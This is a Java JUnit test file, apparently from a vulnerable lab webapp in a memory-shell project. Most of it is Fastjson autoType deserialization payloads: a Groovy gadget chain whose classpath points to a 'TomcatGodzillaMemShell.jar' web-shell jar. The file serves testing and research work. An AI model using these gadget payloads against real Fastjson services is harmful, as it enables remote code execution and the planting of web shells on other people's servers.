Files
MemShellParty/vul/vul-webapp-deserialize/src/test/java/FastjsonServletTest.java
T

35 lines
1.2 KiB
Java

import com.alibaba.fastjson.JSONObject;
import org.junit.jupiter.api.Test;
/**
* @author ReaJason
* @since 2025/12/6
*/
class FastjsonServletTest {
@Test
void test() {
String json = "{\n" +
" \"@type\":\"java.lang.Exception\",\n" +
" \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
" \"unit\":{\n" +
" }\n" +
"}";
try {
JSONObject.parse(json);
} catch (Exception e) {
//e.printStackTrace();
}
String data = "{\n" +
" \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
" \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
" \"config\":{\n" +
" \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
" \"classpathList\":[\"file:/Users/reajason/Downloads/TomcatGodzillaMemShell.jar\"]\n" +
" },\n" +
" \"gcl\":null,\n" +
" \"destDir\": \"/tmp\"\n" +
"}";
// JSONObject.parse(data);
}
}